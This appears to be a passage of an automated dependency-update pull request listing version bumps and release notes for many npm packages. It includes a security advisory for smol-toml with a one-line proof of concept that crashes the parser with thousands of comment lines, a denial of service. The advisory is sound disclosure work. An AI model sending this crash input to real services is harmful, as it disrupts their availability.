v7.1.1...v7.2.0

7.1.1

v7.1.0...v7.1.1

7.1.0

  • Add index parameter to map() method 2aeffd4

v7.0.0...v7.1.0

7.0.0

Breaking

  • Require Node.js 20 78b81a5
  • activeCount now increments when tasks actually start running (more intuitive) rather than when queued. This means:
    • activeCount reflects truly active/running promises
    • pendingCount more accurately represents waiting

Improvements

v6.2.0...v7.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 19 commits:

↗️ p-queue (indirect, 8.1.0 β†’ 9.1.2) Β· Repo

Release Notes

9.1.2

v9.1.1...v9.1.2

9.1.1

  • Fix signal option not rejecting when task is aborted while queued a64b316
    • If you use a custom queue class, you will have to add a remove() method. See the built-in class.

v9.1.0...v9.1.1

9.1.0

v9.0.1...v9.1.0

9.0.1

  • Fix: Remove abort listener when operation completes (#235) e9074f0

v9.0.0...v9.0.1

9.0.0

Breaking

  • Require Node.js 20 b2600d5
  • Remove throwOnTimeout option - timeouts now always throw e48716f
    • It was a mistake to not throw on timeouts and the option made it complicated to handle types.
    • If you really need the old behavior back: 
       const result = await queue.add(fn).catch(error => {
   if (error instanceof TimeoutError) {
   	return undefined;
   }

   throw error;
 });

Improvements

Fixes

  • Fix stack overflow with many aborted tasks 81cbae2
  • Fix interval cap race condition with high concurrency 7fea658
  • Fix interval timing when queue becomes empty between task additions 7b3f53e
  • Fix priority default handling for undefined values 439d512

v8.1.1...v9.0.0

8.1.1

  • Don't count aborted jobs in intervalCount (#220) 199614e

v8.1.0...v8.1.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 42 commits:

↗️ p-timeout (indirect, 6.1.4 β†’ 7.0.1) Β· Repo

Release Notes

7.0.1

  • Fix "Illegal invocation" error with custom timers ed58372

v7.0.0...v7.0.1

7.0.0

Breaking

Fixes

  • Fix stack trace truncation when promise rejects b7bb247

v6.1.4...v7.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 5 commits:

↗️ sax (indirect, 1.4.1 β†’ 1.6.0) Β· Repo

Commits

See the full diff on Github. The new version differs by 19 commits:

↗️ semver (indirect, 7.7.2 β†’ 7.7.4) Β· Repo Β· Changelog

Release Notes

7.7.4

7.7.4 (2026-01-16)

Bug Fixes

Documentation

Dependencies

Chores

7.7.3

7.7.3 (2025-10-06)

Bug Fixes

Chores

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:

↗️ sharp (indirect, 0.33.5 β†’ 0.34.5) Β· Repo

Release Notes

0.34.5

  • Upgrade to libvips v8.17.3 for upstream bug fixes.

  • Add experimental support for prebuilt Linux RISC-V 64-bit binaries.

  • Support building from source with npm v12+, deprecate --build-from-source flag.
    #4458

  • Add support for BigTIFF output.
    #4459
    @throwbi

  • Improve error messaging when only warnings issued.
    #4465

  • Simplify ICC processing when retaining input profiles.
    #4468

0.34.4

  • Upgrade to libvips v8.17.2 for upstream bug fixes.

  • Ensure TIFF subifd and OpenSlide level input options are respected (regression in 0.34.3).

  • Ensure autoOrient occurs before non-90 angle rotation.
    #4425

  • Ensure autoOrient removes existing metadata after shrink-on-load.
    #4431

  • TypeScript: Ensure KernelEnum includes linear.
    #4441
    @BayanBennett

  • Ensure unlimited flag is passed upstream when reading TIFF images.
    #4446

  • Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
    #4451

  • Add sharp-libvips rpath for yarn v5 support.
    #4452
    @arcanis

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ shiki (indirect, 3.12.0 β†’ 3.23.0) Β· Repo Β· Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ smol-toml (indirect, 1.4.2 β†’ 1.6.1) Β· Repo

Security Advisories 🚨

🚨 smol-toml: Denial of Service via TOML documents containing thousands of consecutive commented lines

Summary

An attacker can send a maliciously crafted TOML to cause the parser to crash, because of a stack overflow caused by thousands of consecutive commented lines.

The library uses recursion internally while parsing to skip over commented lines, which can be exploited to crash an application that is processing arbitrary TOML documents.

Proof of concept

require("smol-toml").parse('# comment\n'.repeat(8000) + 'key = "value"')

Impact

Applications which parse arbitrary TOML documents may suffer availability issues if they receive malicious input. If uncaught, the crash may cause the application itself to crash. The impact is deemed minor, as the function is already likely to throw errors on invalid input. Downstream users are supposed to properly handle errors in such situations.

Due to the design of most JavaScript runtimes, the uncontrolled recursion does not lead to excessive memory usage and the execution is quickly aborted.

As a reminder, it is strongly advised when working with untrusted user input to expect errors to occur and to appropriately catch them.

Patches

Version 1.6.1 uses a different approach for parsing comments, which no longer involves recursion.

Workarounds

Wrap all invocations of parse and stringify in a try/catch block when dealing with untrusted user input.

Release Notes

1.6.1

This release addresses a minor security vulnerability where an attacker-controlled TOML document can exploit an unrestricted recustion and cause a stack overflow error with a document that contains thousands of sucessive commented lines. Security advisory: GHSA-v3rj-xjv7-4jmq

1.6.0

As of this version, smol-toml now supports the newly released TOML 1.1.0 specification!

Highlights

Multiline inline tables

TOML 1.1.0 now allows inline tables to have newlines, as well as trailing commas.

database = {
  driver = "postgresql",
  server = {
    host = "127.0.0.1",
    port = 3307,
  },
}

Omitting seconds in datetime and time

TOML 1.1.0 renders the seconds component of time elements optional.

datetime-tz = 1979-05-27 07:32Z
datetime = 2001-09-21 10:17
time = 13:37

New string escapes

Strings now support 2 additional escape sequences:

  • \xHH for code points between 0 and 255
  • \e for the escape character (U+001B)

What's Changed

Full Changelog: v1.5.2...v1.6.0

1.5.2

Hot fix for v1.5.1... πŸ™ƒ

What's Changed

  • fix: properly stringify arrays of tables by @cyyynthia

Full Changelog: v1.5.1...v1.5.2

1.5.1

Smol fix that makes newlines actually consistent when stringifying objects to TOML.

What's Changed

Full Changelog: v1.5.0...v1.5.1

1.5.0

This version improves the TOML output of the library when stringifying objects, courtesy of the folks over at Cloudflare.

Most notably, the lib no longer emits unnecessary table headers, and doesn't add an empty line between successive table headers anymore:

[look.at.me]
note = "In earlier versions, there would've been [look] and [look.at] generated as well."

[empty.table]
[another.empty.table]
[look.how.compact]
this = "looks"

What's Changed

New Contributors

Full Changelog: v1.4.2...v1.5.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 23 commits:

↗️ strip-ansi (indirect, 7.1.0 β†’ 7.2.0) Β· Repo

Release Notes

7.2.0

  • Improve performance by adding fast path for strings without ANSI codes (#54) d67a5b3

v7.1.2...v7.2.0

7.1.2

v7.1.0...v7.1.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 7 commits:

↗️ tinyexec (indirect, 0.3.2 β†’ 1.1.1) Β· Repo

Release Notes

1.1.1

What's Changed

  • fix: install npm twice to make publish work by @43081j in #111

Full Changelog: 1.1.0...1.1.1

1.0.4

What's Changed

New Contributors

Full Changelog: 1.0.3...1.0.4

1.0.3

What's Changed

  • chore: enable dependabot, bump actions by @43081j in #60
  • chore: upgrade dependencies by @43081j in #62
  • chore(deps): bump actions/checkout from 5.0.0 to 5.0.1 in the github-actions group by @dependabot[bot] in #66
  • chore: add licenses to distributed code temporarily by @43081j in #69
  • chore(deps): bump actions/checkout from 5.0.1 to 6.0.0 in the github-actions group by @dependabot[bot] in #70
  • chore(deps): bump the github-actions group with 2 updates by @dependabot[bot] in #72
  • chore: bump node in CI by @43081j in #75
  • chore(deps-dev): bump the development-dependencies group across 1 directory with 8 updates by @dependabot[bot] in #74
  • chore(deps-dev): bump the development-dependencies group with 3 updates by @dependabot[bot] in #77
  • chore(deps): bump actions/setup-node from 6.1.0 to 6.2.0 in the github-actions group by @dependabot[bot] in #76
  • chore(deps): bump actions/checkout from 6.0.1 to 6.0.2 in the github-actions group by @dependabot[bot] in #79
  • chore(deps-dev): bump the development-dependencies group with 6 updates by @dependabot[bot] in #80
  • chore(deps-dev): bump @types/node from 25.0.10 to 25.2.0 in the development-dependencies group by @dependabot[bot] in #81
  • chore(deps-dev): bump the development-dependencies group across 1 directory with 6 updates by @dependabot[bot] in #83
  • chore(deps-dev): bump the development-dependencies group with 3 updates by @dependabot[bot] in #84
  • chore(deps-dev): bump @types/node from 25.3.0 to 25.3.3 in the development-dependencies group by @dependabot[bot] in #85
  • fix: prefer local node_modules/.bin executables to globally installed ones by @iiroj in #87
  • chore(deps): bump actions/setup-node from 6.2.0 to 6.3.0 in the github-actions group by @dependabot[bot] in #88
  • chore(deps-dev): bump the development-dependencies group with 4 updates by @dependabot[bot] in #89

New Contributors

Full Changelog: 1.0.2...1.0.3

1.0.2

What's Changed

New Contributors

Full Changelog: 1.0.1...1.0.2

1.0.1

What's Changed

  • chore: update exports map in package.json by @SukkaW in #48

New Contributors

Full Changelog: 1.0.0...1.0.1

1.0.0

What's Changed

  • feat: migrate to ESM-only build by @43081j in #47

Full Changelog: 0.3.2...1.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 40 commits:

↗️ tinyglobby (indirect, 0.2.14 β†’ 0.2.16) Β· Repo Β· Changelog

Release Notes

0.2.16

Fixed

Changed

  • Overhauled and optimized most internals by @Torathion
  • Ignore patterns are no longer compiled twice by @webpro

Consider sponsoring if you'd like to support the development of this project and the goal of reaching a lighter and faster ecosystem

0.2.15

Added

  • Documentation page at https://superchupu.dev/tinyglobby, which also contains a library comparison page and migration guide.

    It's been a huge effort that took two months to make.

    Big thanks to @outslept, @43081j and @benmccann for helping out! ❀️

  • JSDoc to all functions and options based on the online documentation page

  • Benchmarks with help from @43081j and @benmccann

  • braceExpansion option

  • extglob option

  • fs option

  • globstar option by @benmccann

  • signal option

  • package.json export as tinyglobby/package.json

  • Ability to pass readonly types by @TomerAberbach

  • Support for URLs in cwd option

Changed

  • Rewritten path processing algorithm leading to a huge performance increase in many cases with help from @43081j and @benmccann

  • Deprecated using patterns inside the options object

  • Enabled trusted publishing using npm's OIDC support

Fixed

  • Negated bracket expressions i.e. [!abc]
  • Some patterns like +++ breaking the partial matcher

Consider sponsoring if you'd like to support the development of this project and the goal of reaching a lighter and faster ecosystem

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 66 commits:

↗️ ufo (indirect, 1.6.1 β†’ 1.6.3) Β· Repo Β· Changelog

Release Notes

1.6.3

compare changes

🩹 Fixes

  • withBase, withoutBase: Prevent false prefix matches (#313)

❀️ Contributors

1.6.2

compare changes

🩹 Fixes

  • Fix parsePath return type (#293)

πŸ“– Documentation

  • Add more examples in jsdoc (#291)

πŸ“¦ Build

  • Fix exports condition order to prefer esm with default fallback (8457581)

❀️ Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 14 commits:

↗️ unist-util-visit (indirect, 5.0.0 β†’ 5.1.0) Β· Repo

Release Notes

5.1.0

Types

Full Changelog: 5.0.0...5.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 9 commits:

↗️ unist-util-visit-parents (indirect, 6.0.1 β†’ 6.0.2) Β· Repo

Release Notes

6.0.2

  • 579ffbc Fix type support for readonly arrays

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 6 commits:

↗️ wrap-ansi (indirect, 9.0.0 β†’ 9.0.2) Β· Repo

Release Notes

9.0.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 1 commit:

↗️ yoctocolors (indirect, 2.1.1 β†’ 2.1.2) Β· Repo

Release Notes

2.1.2

  • Fix handling of nested dim and bold modifier (#26) 3fa605e

v2.1.1...v2.1.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 5 commits:

↗️ zod (indirect, 3.25.67 β†’ 3.25.76) Β· Repo Β· Changelog

Release Notes

3.25.76

Commits:

3.25.75

Commits:

  • c5f349b Fix z.undefined() behavior in toJSONSchema

3.25.74

Commits:

3.25.73

Commits:

3.25.72

Commits:

3.25.71

Commits:

3.25.70

Commits:

3.25.69

Commits:

3.25.68

Commits:

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 54 commits:

↗️ zod-to-json-schema (indirect, 3.24.5 β†’ 3.25.2) Β· Repo Β· Changelog

πŸ†• @​clack/core (added, 1.2.0)

πŸ†• @​clack/prompts (added, 1.2.0)

πŸ†• @​esbuild/openharmony-arm64 (added, 0.27.7)

πŸ†• @​img/colour (added, 1.1.0)

πŸ†• @​img/sharp-libvips-linux-riscv64 (added, 1.2.4)

πŸ†• @​img/sharp-linux-ppc64 (added, 0.34.5)

πŸ†• @​img/sharp-linux-riscv64 (added, 0.34.5)

πŸ†• @​shikijs/primitive (added, 4.0.2)

πŸ†• ansi-styles (added, 6.2.3)

πŸ†• axobject-query (added, 4.1.0)

πŸ†• chalk (added, 5.6.2)

πŸ†• chokidar (added, 5.0.0)

πŸ†• fast-string-truncated-width (added, 1.2.1)

πŸ†• fast-string-width (added, 1.1.0)

πŸ†• fast-wrap-ansi (added, 0.1.6)

πŸ†• fontkitten (added, 1.0.3)

πŸ†• is-docker (added, 4.0.0)

πŸ†• is-wsl (added, 3.1.1)

πŸ†• obug (added, 2.1.1)

πŸ†• piccolore (added, 0.1.3)

πŸ†• readdirp (added, 5.0.0)

πŸ†• tinyclip (added, 0.1.12)

πŸ†• type-fest (added, 4.41.0)

πŸ†• vitefu (added, 1.1.3)

πŸ†• yargs-parser (added, 22.0.0)

πŸ†• yocto-queue (added, 1.2.2)

πŸ—‘οΈ @​swc/helpers (removed)

πŸ—‘οΈ @​types/fontkit (removed)

πŸ—‘οΈ base64-js (removed)

πŸ—‘οΈ blob-to-buffer (removed)

πŸ—‘οΈ brotli (removed)

πŸ—‘οΈ clone (removed)

πŸ—‘οΈ cross-fetch (removed)

πŸ—‘οΈ dfa (removed)

πŸ—‘οΈ fast-deep-equal (removed)

πŸ—‘οΈ fontkit (removed)

πŸ—‘οΈ pako (removed)

πŸ—‘οΈ restructure (removed)

πŸ—‘οΈ unicode-properties (removed)

πŸ—‘οΈ unicode-trie (removed)